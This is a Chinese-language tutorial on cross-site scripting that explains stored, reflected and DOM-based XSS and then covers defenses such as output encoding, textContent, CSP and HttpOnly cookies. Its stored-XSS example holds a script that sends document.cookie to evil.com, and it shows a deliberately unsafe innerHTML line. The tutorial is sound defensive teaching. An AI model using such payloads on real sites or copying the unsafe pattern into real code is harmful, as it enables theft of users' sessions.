XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过向网页注入恶意脚本,使其在用户浏览器中执行,从而窃取数据、劫持会话或进行其他恶意操作。
1. XSS 攻击的原理
-
核心问题:网站未对用户输入进行严格过滤,导致恶意脚本被注入并执行。
-
攻击方式:
-
攻击者提交恶意代码(如 JavaScript)。
-
服务器存储或直接返回该代码。
-
用户访问受影响页面时,浏览器执行恶意脚本。
-
2. XSS 攻击的三种类型
(1)存储型 XSS(Stored XSS)
-
特点:恶意脚本被永久存储在服务器(如数据库),每次访问都会触发。
-
攻击场景:
-
论坛评论、用户昵称、留言板等用户可输入并保存数据的地方。
-
-
示例:
<!-- 攻击者提交的评论 --> <script> fetch('https://evil.com/steal?cookie=' + document.cookie); </script>
-
当其他用户查看该评论时,脚本自动执行,窃取 Cookie。
-
(2)反射型 XSS(Reflected XSS)
-
特点:恶意脚本通过 URL 参数传递,服务器直接返回给用户浏览器执行。
-
攻击场景:
-
搜索框、错误页面等动态生成内容的地方。
-
-
示例:
http://example.com/search?q=<script>alert('XSS')</script>
-
服务器未过滤
q
参数,直接返回<script>alert('XSS')</script>
,导致脚本执行。
-
(3)DOM 型 XSS(DOM-based XSS)
-
特点:恶意脚本通过修改 DOM 环境(而非服务器)触发,纯前端漏洞。
-
攻击场景:
-
前端 JavaScript 动态操作 DOM(如
innerHTML
、location.hash
)。
-
-
示例:
<!-- 攻击者构造的 URL --> http://example.com/#<img src="x" onerror="alert('XSS')">
// 前端代码(漏洞点) document.getElementById("content").innerHTML = location.hash.substring(1);
-
攻击者通过
location.hash
注入恶意代码。
-
3. XSS 攻击的危害
-
窃取用户 Cookie(获取登录态)。
-
伪造用户操作(如自动发帖、转账)。
-
劫持用户会话(冒充用户登录)。
-
植入恶意软件(如挖矿脚本、勒索病毒)。
-
钓鱼攻击(伪造登录框窃取密码)。
4. 防御 XSS 的方法
(1)输入过滤
-
对用户输入进行转义或白名单过滤(如只允许字母、数字)。
-
示例(Node.js 使用
xss
库):const xss = require("xss"); const clean = xss(userInput); // 过滤恶意标签
(2)输出编码
-
在输出到 HTML 前,对动态内容进行转义:
-
<
→<
-
>
→>
-
"
→"
-
-
前端示例:
function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; return div.innerHTML; } document.getElementById("output").innerHTML = escapeHtml(userInput);
(3)使用安全的 API
-
避免直接操作
innerHTML
,改用textContent
:// 不安全 element.innerHTML = userInput; // 安全 element.textContent = userInput;
(4)设置 HTTP 安全头
-
Content-Security-Policy (CSP)
:限制脚本加载来源。Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
-
HttpOnly Cookie
:防止 JavaScript 读取 Cookie。Set-Cookie: sessionId=123; HttpOnly; Secure
(5)其他措施
-
避免
eval()
、setTimeout(string)
等动态执行代码。 -
使用前端框架(如 React/Vue)的自动转义机制。
5. 测试 XSS 漏洞
-
手动测试:
http://example.com/search?q=<script>alert(1)</script>
-
工具扫描:
-
OWASP ZAP、Burp Suite、XSS Hunter。
-
6. 总结
攻击类型 | 触发方式 | 防御措施 |
---|---|---|
存储型 XSS | 恶意脚本存储在服务器 | 输入过滤 + 输出编码 + CSP |
反射型 XSS | 通过 URL 参数触发 | 输出编码 + 输入验证 |
DOM 型 XSS | 前端动态修改 DOM 触发 | 避免 innerHTML + 安全 API |
核心原则:
永远不要信任用户输入! 所有动态内容必须经过过滤或转义。